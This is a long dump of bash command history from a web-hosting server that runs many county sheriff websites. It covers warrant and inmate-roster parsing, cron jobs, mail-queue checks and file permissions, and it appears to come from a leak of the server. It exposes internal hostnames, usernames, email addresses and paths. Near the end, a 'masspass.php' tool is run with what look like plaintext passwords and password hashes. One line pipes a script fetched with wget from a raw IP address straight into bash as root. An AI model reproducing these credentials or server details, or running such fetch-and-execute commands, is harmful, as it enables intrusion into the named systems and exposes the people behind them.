  2374. ll
  2375. cd ..
  2376. ll
  2377. crontab -l
  2378. /usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php
  2379. ll
  2380. vi parse_roster.php
  2381. cd Export/
  2382. ll
  2383. cd Images/
  2384. ll
  2385. cd ..
  2386. cd ..
  2387. ll
  2388. cd /var/www/vhosts/boonesheriff.com/
  2389. ll
  2390. cd home/
  2391. ll
  2392. less ActiveWarrantsList.txt
  2393. top
  2394. cd /var/www/vhosts/jocomosheriff.org/home/
  2395. ll
  2396. cd Export/
  2397. ll
  2398. cd ..
  2399. ll
  2400. vi parse_roster.php
  2401. /usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php
  2402. vi /var/www/vhosts/jocomosheriff.org/home/parse_roster.php
  2403. /usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php
  2404. /usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php
  2405. /usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php
  2406. cd /var/www/vhosts/crosscountysheriff.org/
  2407. ll
  2408. cd home/
  2409. ll
  2410. cd Cross\ County/
  2411. ll
  2412. cd ..
  2413. ll
  2414. cd Cross\ County/
  2415. ll
  2416. less warrant_parser.php
  2417. cd /backup
  2418. ll
  2419. mkdir -m 777 CRCSD_WARRANTS
  2420. ll
  2421. cd CRCSD_WARRANTS/
  2422. ll
  2423. pwd
  2424. ll
  2425. ll
  2426. crontab -l
  2427. /usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
  2428. County/warrant_parser.php
  2429. ll
  2430. less warrant_query.sql
  2431. cd ..
  2432. ll
  2433. pwd
  2434. /usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
  2435. County/warrant_parser.php
  2436. /usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
  2437. County/warrant_parser.php
  2438. cd CRCSD_WARRANTS/
  2439. ll
  2440. rm warrant_query.sql
  2441. cd ..
  2442. ll
  2443. rm warrant_query.sql
  2444. ll
  2445. cd CRCSD_WARRANTS/
  2446. ll
  2447. ll
  2448. ll -h
  2449. ll
  2450. ll
  2451. ll
  2452. cd ..
  2453. mkdir -m 777 BOCS_WARRANTS
  2454. ll
  2455. mkdir -m 777 SFSOAR_WARRANTS
  2456. ll
  2457. du -sh
  2458. du -sh ./
  2459. du -sh ./*
  2460. ll
  2461. ll
  2462. cd SFSOAR_WARRANTS/
  2463. ll
  2464. ll
  2465. ll
  2466. ll
  2467. ll
  2468. ll
  2469. ll
  2470. crontab -l
  2471. /usr/bin/php /var/www/vhosts/stfranciscountysheriff.org/home/warrant_parser.php
  2472. crontab -e
  2473. ll
  2474. cd /var/www/vhosts/crosscountysheriff.org/home/
  2475. ll
  2476. cd Cross\ County/
  2477. ll
  2478. ll -h
  2479. ll
  2480. ll
  2481. crontab -l
  2482. /usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
  2483. County/warrant_parser.php
  2484. crontab -l
  2485. /usr/bin/php /var/www/vhosts/boonesheriff.com/home/warrant_parser.php >/dev/null
  2486. 2>&1
  2487. ll
  2488. cd /var/www/vhosts/boonesheriff.com/home/
  2489. ll
  2490. /usr/bin/php /var/www/vhosts/boonesheriff.com/home/warrant_parser.php
  2491. ll
  2492. /usr/bin/php /var/www/vhosts/boonesheriff.com/home/warrant_parser.php
  2493. crontab -e
  2494. postqueue -p
  2495. postqueue -p
  2496. postqueue -f
  2497. ll
  2498. ll
  2499. less huh
  2500. ll -rt
  2501. ll -h
  2502. ll -rth
  2503. top
  2504. ll
  2505. less tat\ E
  2506. postqueue -p
  2507. postqueue -p
  2508. postqueue -p
  2509. postqueue -f
  2510. postqueue -f
  2511. postqueue -p
  2512. postqueue -p
  2513. postqueue -p
  2514. postqueue -p
  2515. postqueue -f
  2516. postqueue -p
  2517. postqueue -f
  2518. postqueue -p
  2519. postqueue -f
  2520. postqueue -p
  2521. postqueue -f
  2522. postqueue -p
  2523. postqueue -f
  2524. postqueue -p
  2525. postqueue -p
  2526. postqueue -p
  2527. postqueue -p
  2528. postqueue -p
  2529. postqueue -p
  2530. postqueue -p
  2531. postqueue -p
  2532. postqueue -p
  2533. postqueue -f
  2534. postqueue -p
  2535. top
  2536. postqueue -p
  2537. postqueue -p
  2538. postqueue -p
  2539. postqueue -p
  2540. postqueue -p
  2541. ls
  2542. cd bin
  2543. ls
  2544. cd ../scripts/
  2545. ls
  2546. rm logon.aspx\?url\=https\:%2F%2Fwebmail.bjmweb.com%2Fowa%2F\&reason\=0
  2547. rm logon.aspx\?url\=https\:%2F%2Fwebmail.bjmweb.com%2Fowa%2F\&reason\=0
  2548. ./backup-now.sh
  2549. cd
  2550. ls
  2551. rm BACKUP092010.csv.gz
  2552. less recaptcha.log
  2553. less recaptchalib.php
  2554. for i in $(cat recaptcha.log); do echo $i; done
  2555. for i in $(cat recaptcha.log); do ls -al  $i; done
  2556. for i in $(cat recaptcha.log); do ls -al  $i; done > perms.log
  2557. for i in $(cat recaptcha.log| grep recaptchalib.php); do echo $i; done
  2558. for i in $(cat recaptcha.log| grep recaptchalib.php); do echo $i; done| wc -l
  2559. wc -l perms.log
  2560. for i in $(cat recaptcha.log| grep recaptchalib.php); do echo $il cat
  2561. recaptchalib.php > $i; done
  2562. for i in $(cat recaptcha.log| grep recaptchalib.php); do echo $i; cat
  2563. recaptchalib.php > $i; done
  2564. ll /var/www/vhosts/georgecountymssheriff.com/httpdocs/recaptchalib.php
  2565. less /var/www/vhosts/randolphcountysheriff.org/httpdocs/recaptchalib.php
  2566. cd /var/www/vhosts/crosscountysheriff.org/home
  2567. ll
  2568. cd Cross\ County/
  2569. ll
  2570. less parse_pcv.php
  2571. ll
  2572. vi test.txt
  2573. ll
  2574. less parse_pcv.php
  2575. ll
  2576. crontab -l
  2577. /usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
  2578. County/parse_pcv.php
  2579. top
  2580. vi test.txt
  2581. vi test.txt
  2582. /usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
  2583. County/parse_pcv.php
  2584. cd images/
  2585. ll
  2586. cp *.jpg /var/www/vhosts/crosscountysheriff.org/httpdocs/images/inmates/
  2587. cp -f *.jpg /var/www/vhosts/crosscountysheriff.org/httpdocs/images/inmates/
  2588. \cp -f *.jpg /var/www/vhosts/crosscountysheriff.org/httpdocs/images/inmates/
  2589. cd ..
  2590. ll
  2591. ll
  2592. vi test.txt
  2593. ll
  2594. cd .
  2595. cd ..
  2596. ll
  2597. less pop_update.txt
  2598. cd /var/www/vhosts/stfranciscountysheriff.org/
  2599. ll
  2600. cd home/
  2601. ll
  2602. less check_population.php
  2603. cd /var/www/vhosts/crosscountysheriff.org/home/Cross\ County/
  2604. pwd
  2605. ll
  2606. ll
  2607. ll
  2608. ll
  2609. top
  2610. ll
  2611. ll
  2612. cd ..
  2613. l
  2614. ll
  2615. cd Cross\ County/
  2616. ll
  2617. less Jun
  2618. ll
  2619. ll
  2620. ll
  2621. cd ..
  2622. ll
  2623. vi check_population.php
  2624. php check_population.php
  2625. vi check_population.php
  2626. php check_population.php
  2627. cd Cross\ County/
  2628. ll
  2629. less Population.txt
  2630. cd..
  2631.  
  2632. cd ..
  2633. php check_population.php
  2634. php check_population.php > Cross\ County/test.txt
  2635. crontab -l
  2636. /usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
  2637. County/parse_pcv.php
  2638. cd Cross\ County/
  2639. ll
  2640. vi test.txt
  2641. /usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
  2642. County/parse_pcv.php
  2643. vi inmate_class.php
  2644. vi inmate_class.php
  2645. top
  2646. top
  2647. postqueue -p
  2648. postqueue -p
  2649. postqueue -p
  2650. postqueue -p
  2651. postqueue -p
  2652. postqueue -p
  2653. postqueue -p
  2654. postqueue -p
  2655. top
  2656. postqueue -p
  2657. top
  2658. cd /var/www/vhosts/johnsoncosheriff.com/home
  2659. cd /var/www/vhosts/jocomosheriff.org/home/
  2660. ll
  2661. cd export_backup/
  2662. ll
  2663. ll -rt
  2664. cd ..
  2665. ll
  2666. cd Export/
  2667. ll
  2668. cd Images/
  2669. ll
  2670. ll -rt
  2671. cd ..
  2672. cd ..
  2673. ll
  2674. cd export_backup/
  2675. ll
  2676. cd ..
  2677. ll
  2678. less parse_roster.php
  2679. ll
  2680. cd export_backup/
  2681. ll
  2682. top
  2683. crontab -l
  2684. less
  2685. /var/www/vhosts/mostwantedwebsites.net/subdomains/code/httpdocs/search/cron.sh
  2686.  cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
  2687. /usr/bin/php
  2688. /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
  2689. -u http://crosscountysheriff.org/ -r -n
  2690. http://crosscountysheriff.org/warrants.php?find=all
  2691. crontab -e
  2692. crontab -l
  2693. cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
  2694. /usr/bin/php
  2695. /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
  2696. -u http://crosscountysheriff.org/ -r -n
  2697. http://www.crosscountysheriff.org/warrants/view/all
  2698. cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
  2699. /usr/bin/php
  2700. /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
  2701. -u http://crosscountysheriff.org/ -r -n
  2702. http://www.crosscountysheriff.org/warrants/view/all \n cd
  2703. http://www.crosscountysheriff.org/index.php?a=warrants&v=view&id=all
  2704. cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
  2705. /usr/bin/php
  2706. /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
  2707. -u http://crosscountysheriff.org/ -r -n
  2708. http://www.crosscountysheriff.org/warrants/view/all \n
  2709. http://www.crosscountysheriff.org/index.php?a=warrants&v=view&id=all
  2710. cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
  2711. /usr/bin/php
  2712. /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
  2713. -u http://crosscountysheriff.org/ -r -n
  2714. http://www.crosscountysheriff.org/warrants/view/all \n
  2715. http://www.crosscountysheriff.org/index.php?a=warrants&v=view&id=all
  2716. cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
  2717. /usr/bin/php
  2718. /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
  2719. -u http://crosscountysheriff.org/ -r -n
  2720. http://www.crosscountysheriff.org/warrants/view/all \n
  2721. http://www.crosscountysheriff.org/index.php?a=warrantsv=viewid=all
  2722. cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
  2723. /usr/bin/php
  2724. /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
  2725. -u http://crosscountysheriff.org/ -r -n
  2726. http://www.crosscountysheriff.org/warrants/view/all \n
  2727. http://www.crosscountysheriff.org/index.php
  2728. cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
  2729. /usr/bin/php
  2730. /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
  2731. -u http://crosscountysheriff.org/ -r
  2732. cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
  2733. /usr/bin/php
  2734. /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
  2735. -u http://crosscountysheriff.org/ -r -n
  2736. http://www.crosscountysheriff.org/warrants/view/all\nhttp://www.
  2737. crosscountysheriff.org/index.php
  2738. top
  2739. lsof -p 20452
  2740. kill 20452
  2741. lsof -p 20452
  2742. top
  2743. lsof -p 32631
  2744. kill 32631
  2745. lsof -p
  2746. lsof -p 32631
  2747. top
  2748. lsof -p 5852
  2749. top
  2750. su - mstapleton
  2751. ll
  2752. cd /var/www/vhosts/kansassheriffs.org/uploads/
  2753. cd /var/www/vhosts/kansassheriffs.org/
  2754. ll
  2755. cd /httpdocs/
  2756. cd /va
  2757. cd /var/www/vhosts/kansassheriffs.org/httpdocs/
  2758. ll
  2759. cd /uploads/
  2760. cd uploads/
  2761. ll
  2762. cd /var/www/vhosts/kssa.mostwantedwebsites.net/httpdocs/uploads/
  2763. ll
  2764. ../
  2765. ll
  2766. cd ../
  2767. ll
  2768. chown -R root:root uploads/
  2769. ll
  2770. cd uploads/
  2771. ll
  2772. cd ../
  2773. ll
  2774. chown -R kssa2 uploads/
  2775. ll
  2776. chown -R kssa2:kssa2 uploads/
  2777. ll
  2778. logout
  2779. cd /var/www/vhosts/kssa.mostwantedwebsites.net/httpdocs/
  2780. ll
  2781. cd ../
  2782. ll
  2783. cd httpdocs/
  2784. ll
  2785. rm -R httpdocs/
  2786. cd ../
  2787. ll
  2788. rm -R httpdocs/
  2789. y
  2790. y
  2791. y
  2792. y
  2793. y
  2794. y
  2795. y
  2796. y
  2797. ll
  2798. cd httpdocs/
  2799. ll
  2800. cd /var/www/vhosts/kansassheriffs.org/httpdocs/
  2801. ll
  2802. crontab -e
  2803. logout
  2804. cd /var/www/vhosts/kssa.mostwantedwebsites.net/httpdocs/
  2805. ll
  2806. cd ../
  2807. ll
  2808. rm -f httpdocs/
  2809. rm -R httpdocs/
  2810. ll
  2811. cd httpdocs/
  2812. ll
  2813. ../
  2814. cd ../
  2815. ll
  2816. rm -r httpdocs/
  2817. y
  2818. y
  2819. y
  2820. y
  2821. y
  2822. y
  2823. y
  2824. y
  2825. ll
  2826. rm -R httpdocs/
  2827. y
  2828. ll
  2829. logout
  2830. crontab -l
  2831.  cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
  2832. /usr/bin/php
  2833. /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
  2834. -u http://crosscountysheriff.org/ -r -n
  2835. http://www.crosscountysheriff.org/warrants/view/all
  2836. cd /var/www/vhosts/howardcountysheriffar.com/
  2837. ll
  2838. cd httpdocs/
  2839. ll
  2840. ll
  2841. cd ..
  2842. cd home/
  2843. ll
  2844. touch test.txt
  2845. vi test.txt
  2846. ll
  2847. vi test.txt
  2848. ll
  2849. crontab -l
  2850. /usr/bin/php /var/www/vhosts/howardcountysheriffar.com/home/parse_pcv.php
  2851. >/dev/null 2>&1
  2852. ll
  2853. yum info php
  2854. w
  2855. top
  2856. ps -ef | grep httpd
  2857. w
  2858. w
  2859. w
  2860. top
  2861. top
  2862. ps -ef
  2863. ps -ef
  2864. w
  2865. iostat
  2866. top
  2867. ps -ef | grep bp
  2868. kill 6144
  2869. top
  2870. crontab -l
  2871. ps -ef | grep imap
  2872. cd /etc/
  2873. w
  2874. top
  2875. ps -ef | grep php
  2876. ls /etc/init.d
  2877. chkconfig --list
  2878. runlevel
  2879. /etc/init.d/postfix restart
  2880. bg
  2881. ps -ef | grep bp
  2882. date
  2883. kill 31287
  2884. top
  2885. ps -ef
  2886. /etc/init.d/postfix start
  2887. ps -ef| grep imap
  2888. ps -ef| grep post
  2889. less /usr/local/psa/var/log/maillog
  2890. mail jwiegand@bjmweb.com
  2891. less /usr/local/psa/var/log/maillog
  2892. mailq
  2893. man bpbark
  2894. top
  2895. ps -ef | grep my
  2896. ps -ef | grep mysql
  2897. ps -ef | less
  2898. top
  2899. ps -ef | grep php
  2900. cd
  2901. ls
  2902. cd bin/
  2903. ls
  2904. cd ../scripts/
  2905. ls
  2906. ./backup-now.sh
  2907. top
  2908. ps -ef
  2909. top
  2910. ps -ef | grep psa
  2911. ps -ef |grep sp
  2912. pkill spider
  2913. ps -ef |grep sp
  2914. kill 6624 6644 18573
  2915. ps -ef |grep sp
  2916. ps -ef |grep spider
  2917. kill  11673 11717 18605
  2918. ps -ef |grep spider
  2919. top
  2920. top
  2921. nn
  2922. cd /var/www/vhosts/
  2923. ls
  2924. cd jacksonsheriff.org/
  2925. find . -name tiny_mce
  2926. find . -name tinymce
  2927. ls admin
  2928. cd httpdocs/
  2929. ls
  2930. ls admin
  2931. find .
  2932. find .| less
  2933. cd ../../crosscountysheriff.org/
  2934. cd httpdocs/
  2935. ls
  2936. find . -name tiny\*
  2937. less ./admin/tinymce/jscripts/tiny_mce/tiny_mce.js
  2938. mv ./admin/config/functions/tiny_mce.php
  2939. ./admin/config/functions/tiny_mce.php_bak
  2940. mv ./admin/tinymce/jscripts/tiny_mce ./admin/tinymce/jscripts/tiny_mce_bak
  2941. cp ~/tiny_mce.php ./admin/config/functions/tiny_mce.php
  2942. cp -rv ~/tiny_mce ./admin/tinymce/jscripts/tiny_mce
  2943. cd ../..
  2944. find . -type d -name wp-admin
  2945. pwd
  2946. cd ../..
  2947. cd www/vhosts/
  2948. ls
  2949. cd crosscountysheriff.org/
  2950. ls
  2951. cd  httpdocs/admin/
  2952. ls
  2953. ll
  2954. history
  2955. ls
  2956. ll tinymce/
  2957. ls
  2958. ll config/
  2959. ll config/functions/
  2960. cd config/functions/
  2961. ll
  2962. diff tiny_mce.php tiny_mce.php_bak
  2963. ls
  2964. mv tiny_mce.php tiny_mce.php_new
  2965. mv tiny_mce.php_bak tiny_mce.php
  2966. cd ../
  2967. ls
  2968. cd ..
  2969. ls
  2970. history
  2971. cd tinymce/jscripts/
  2972. ll
  2973. mv tiny_mce tiny_mce_new
  2974. mv tiny_mce_bak tiny_mce
  2975. top
  2976. lsof -p 9043
  2977. kill 9043
  2978. lsof -p 9043
  2979. cd /var/log
  2980. ls
  2981. less rsnapshot
  2982. less rsnapshot
  2983. cd /var/www/vhosts/crosscountysheriff.org/
  2984. cd statistics/
  2985. ls
  2986. less logs/access_log
  2987. cd /var/www/vhosts/baxtercountysheriff.com/
  2988. ls
  2989. cd httpdocs/
  2990. cd admin_dymin/
  2991. ls
  2992. find . -name ping.php
  2993. ll
  2994. cd /var/www/vhosts/stonecountymosheriff.com/
  2995. ll
  2996. cd httpdocs/
  2997. ll
  2998. cd ..
  2999. cd home/
  3000. ll
  3001. cd export_backup/
  3002. ll
  3003. crontab -l
  3004. crontab -e
  3005. crontab -l
  3006. cd /var/www/vhosts/stonecountymosheriff.com/
  3007. cd home/
  3008. ll
  3009. cd export_backup/
  3010. ll
  3011. top
  3012. cd /var/www/vhosts/jocomosheriff.org/
  3013. ll
  3014. cd home/
  3015. ll
  3016. cd Export/
  3017. ll
  3018. cd ../export_backup/
  3019. ll
  3020. cd ..
  3021. ll
  3022. vi parse_roster.php
  3023. crontab -l
  3024. vi /backup/johms_parse_log.txt
  3025. ll
  3026. less clean.php
  3027. ll
  3028. cd export_backup/
  3029. ll
  3030. rm -f RosterExport_2011_01* RosterExport_2011_02* RosterExport_2011_03*
  3031. RosterExport_2011_04* RosterExport_2011_05*
  3032. rm -f RosterExport_2011_01*
  3033. rm -f RosterExport_2011_02*
  3034. rm -f RosterExport_2011_03*
  3035. rm -f RosterExport_2011_04*
  3036. rm -f RosterExport_2011_05*
  3037. rm -f RosterExport_2011_05*
  3038. rm -f RosterExport_2011_05_0*
  3039. rm -f RosterExport_2011_05*
  3040. rm -f RosterExport_2011_06*
  3041. ll
  3042. ll
  3043. ll
  3044. ll
  3045. cd ..
  3046. ll
  3047. vi parse_roster.php
  3048. ll
  3049. ll
  3050. ll
  3051. cd Export/
  3052. ll
  3053. cd Images/
  3054. ll
  3055. *.txt
  3056. ll | less
  3057. ll
  3058. cd ..
  3059. ll
  3060. cd ..
  3061. ll
  3062. less parse_roster.php
  3063. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3064. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3065. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3066. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3067. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3068. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3069. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3070. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3071. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3072. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3073. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3074. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3075. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3076. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3077. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3078. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3079. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3080. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3081. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3082. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3083. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3084. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3085. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3086. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3087. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3088. less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
  3089. crontab -l
  3090. /usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php >>
  3091. /backup/johms_parse_log.txt
  3092. cd Export/Images/
  3093. ll
  3094. ll 1243376
  3095. ll 1243376*
  3096. ll 1*
  3097. ll 124*
  3098. ll 12433*
  3099. cd ..
  3100. ll
  3101. cd ..
  3102. ll
  3103. less clean.php
  3104. vi clean.php
  3105. php clean.php
  3106. vi clean.php
  3107. php clean.php
  3108. ll
  3109. cd Export/Images/
  3110. ll
  3111. cd ..
  3112. cd ..
  3113. php clean.php
  3114. ll
  3115. php clean.php
  3116. ll
  3117. ll
  3118. ll
  3119. cd export_backup/
  3120. ll
  3121. less RosterExport_2011_07_
  3122. ll
  3123. ll
  3124. cd ..
  3125. ll
  3126. vi parse_roster.php
  3127. vi parse_roster.php
  3128. ll
  3129. cd export_backup/
  3130. ll
  3131. ll
  3132. ll
  3133. cd /backup/
  3134. ll
  3135. vi johms_parse_log.txt
  3136. ll
  3137. cd /var/www/vhosts/jocomosheriff.org/home/
  3138. ll
  3139. cd Export/
  3140. ll
  3141. ll
  3142. ll
  3143. ll
  3144. ll
  3145. ll
  3146. ll
  3147. ll
  3148. cd Images/
  3149. ll
  3150. cd ..
  3151. ll
  3152. cp *.JPG Images/
  3153. ll
  3154. /usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php >>
  3155. /backup/johms_parse_log.txt
  3156. cd ..
  3157. cd export_backup/
  3158. ll
  3159. ll
  3160. ll
  3161. cd ..
  3162. cd Export/
  3163. ll
  3164. cd Images/
  3165. ll
  3166. ll
  3167. ll | less
  3168. ll
  3169. cd ..
  3170. ll
  3171. cd ..
  3172. ll
  3173. du -sh ./*
  3174. vi clean.php
  3175. php clean.php
  3176. ll
  3177. vi clean.php
  3178. php clean.php
  3179. ll
  3180. du -sh ./*
  3181. cd Export/
  3182. ll
  3183. cd ..
  3184. ll
  3185. crontab -l
  3186. /usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php >>
  3187. /backup/johms_parse_log.txt
  3188. ll
  3189. du -sh ./*
  3190. ll
  3191. cd export_backup/
  3192. ll
  3193. ll
  3194. cd ..
  3195. cd Export/Images/
  3196. ll
  3197. cd ../../
  3198. ll
  3199. php clean.php
  3200. ll
  3201. du -sh ./*
  3202. ll
  3203. ll
  3204. du -sh ./*
  3205. du -sh ./*
  3206. du -sh ./*
  3207. cd Export/
  3208. ll
  3209. cd Images/
  3210. ll
  3211. ll
  3212. ll 1322055.JPG
  3213. ll
  3214. cd ../../
  3215. ll
  3216. php parse_roster.php
  3217. ll
  3218. cd Export/
  3219. ll
  3220. ll
  3221. cd Images/
  3222. ll
  3223. cd ..
  3224. ll
  3225. ll
  3226. du -sh
  3227. du -sh ./*
  3228. top
  3229. ll
  3230. cd ..
  3231. du -sh ./*
  3232. ll
  3233. ll
  3234. du -sh ./*
  3235. du -sh ./*
  3236. cd ~
  3237. ll
  3238. mkdir MASS_PASS
  3239. ll
  3240. cd MASS_PASS/
  3241. ll
  3242. vi masspass.php
  3243. ll
  3244. php masspass.php
  3245. vi masspass.php
  3246. php masspass.php
  3247. vi masspass.php
  3248. php masspass.php
  3249. vi masspass.php
  3250. vi masspass.php
  3251. php masspass.php
  3252. vi masspass.php
  3253. php masspass.php
  3254. vi masspass.php
  3255. php masspass.php
  3256. vi masspass.php
  3257. php masspass.php -p 12345
  3258. php masspass.php -p12345
  3259. vi masspass.php
  3260. php masspass.php -p12345
  3261. php masspass.php
  3262. vi masspass.php
  3263. php masspass.php
  3264. php masspass.php -oe0d14a92 -n12345
  3265. vi masspass.php
  3266. php masspass.php -oe0d14a92 -n12345
  3267. php masspass.php -oe0d14a92 -nY9BNtSeb
  3268. vi masspass.php
  3269. php masspass.php -oe0d14a92 -nY9BNtSeb
  3270. php masspass.php
  3271. vi masspass.php
  3272. php masspass.php
  3273. php masspass.php -n705ad48f3563c4c30d3fec8564b7636b
  3274. -oa872c8327d9b4b3e3e1cf6b673c529b4
  3275. php masspass.php
  3276. ll
  3277. php masspass.php
  3278. vi masspass.php
  3279. crontab -e
  3280. top
  3281. ll
  3282. less sete.sh
  3283. less tat\ E
  3284. cd /var/www/vhosts/crosscountysheriff.org/home/
  3285. ll
  3286. cd Cross\ County/
  3287. ll
  3288. vi test.txt
  3289. ll
  3290. crontab -l
  3291. /usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
  3292. County/parse_pcv.php >/dev/null 2>&1
  3293. cd /var/www/vhosts/boonesheriff.com/home/
  3294. ll
  3295. vi test.txt
  3296. ll
  3297. cronatb -l
  3298. crontab -l
  3299. /usr/bin/php /var/www/vhosts/boonesheriff.com/home/parse_pcv.php >/dev/null 2>&1
  3300. ll
  3301. cd images/
  3302. ll
  3303. ll
  3304. cd ..
  3305. ll
  3306. ls
  3307. ls scripts/
  3308. at 6:00 AM tomorrow
  3309. postfix -q
  3310. postfix -p
  3311. postqueue -q
  3312. postqueue -p
  3313. cd /usr/local/ll
  3314. cd /usr/local/psa/var/
  3315. ll
  3316. cd log
  3317. ll
  3318. less maillog
  3319. grep 'status=' maillog | less
  3320. grep 'status=deferred' maillog | less
  3321. grep 'timed out while receiving the initial server greeting' maillog | less
  3322. grep 'conversation with s2smtpout' maillog | less
  3323. grep 'radams' maillog | less
  3324. crontab -l
  3325. grep 'conversation with s2smtpout' maillog | mail -s "Relay Server Issues"
  3326. serverwatch@bjmweb.com
  3327. grep 'linda@voltplastics.com' maillog | less
  3328. cd ~
  3329. ll
  3330. ll
  3331. less huh
  3332. ll
  3333. ll -rt
  3334. cd MASS_PASS/
  3335. ll
  3336. php masspass.php
  3337. php masspass.php -oY9BNtSeb -nYNw1rTxp
  3338. php masspass.php
  3339. php masspass.php -n10df020e5e24b80589b4b618b107055c
  3340. -o705ad48f3563c4c30d3fec8564b7636b
  3341. php masspass.php
  3342. cd MASS_PASS/
  3343. ll
  3344. php masspass.php
  3345. ll
  3346. cd MASS_PASS/
  3347. php masspass.php
  3348. su - mstapleton
  3349. cd /var/www/vhosts/
  3350. ll
  3351. cd cherokeecountyalsheriff.com/
  3352. ll
  3353. cd httpdocs/
  3354. ll
  3355. cd _newsite/
  3356. ll
  3357. cd ../
  3358. ll
  3359. chown -R ccsal:psacln _newsite/
  3360. ll
  3361. cd _newsite/
  3362. ll
  3363. exit
  3364. cd /var/www/vhosts/cherokeecountyalsheriff.com/
  3365. ll
  3366. cd httpdocs/
  3367. ll
  3368. cd _n
  3369. cd _newsite/
  3370. ll
  3371. cd controllers/
  3372. ll
  3373. cd ../
  3374. ll
  3375. chown -R ccsal:psacln controllers/
  3376. chown -R ccsal:psacln helpers/
  3377. chown -R ccsal:psacln model/
  3378. chown -R ccsal:psacln views/
  3379. ll
  3380. exit
  3381.  
  3382.  
  3383. # cat ~webdebt/.bash_history
  3384.  
  3385.  
  3386. su -l root -c "wget -q -O - http://208.109.96.14/public/scripts/nbu_install.sh |
  3387. bash -s 800384d4-e9bb-11de-a2ed-00114332b4ff"
  3388. exit
  3389. su root
  3390. su
  3391. ls
  3392. cd var/
  3393. ls
  3394. cd www/vhosts/
  3395. ls
  3396. cd baxtercountysheriff.com/
  3397. ls
  3398. cd httpdocs
  3399. ls
  3400. mkdir httpdocs
  3401. su -
  3402. su -
  3403. ls
  3404. cd /var/www/vhosts/
  3405. ls
  3406. cd baxtercountysheriff.com/
  3407. ls
  3408. mkdir vhosts
  3409. cd ..
  3410. ls
  3411. mkdir poop
  3412. rm poop
  3413. rm -rf poop
  3414. ls
  3415. cd 20jdpa
  3416. cd 20jdpa.com/
  3417. ls
  3418. mkdir httpdocs
  3419. ls
  3420. mkdir httpdocs
  3421. su
  3422. cd /var/www/vhosts/
  3423. ll
  3424. cd 20jdpa.com/httpdocs/
  3425. su
  3426. su -
  3427. mkdir cert
  3428. exit
  3429. su -
  3430. su -
  3431. exti
  3432. exit
  3433. su -
  3434. su -
  3435. su -
  3436. su -
  3437. exi
  3438. exit
  3439. ll
  3440. cd ..
  3441. cd
  3442. ll
  3443. cd
  3444. /
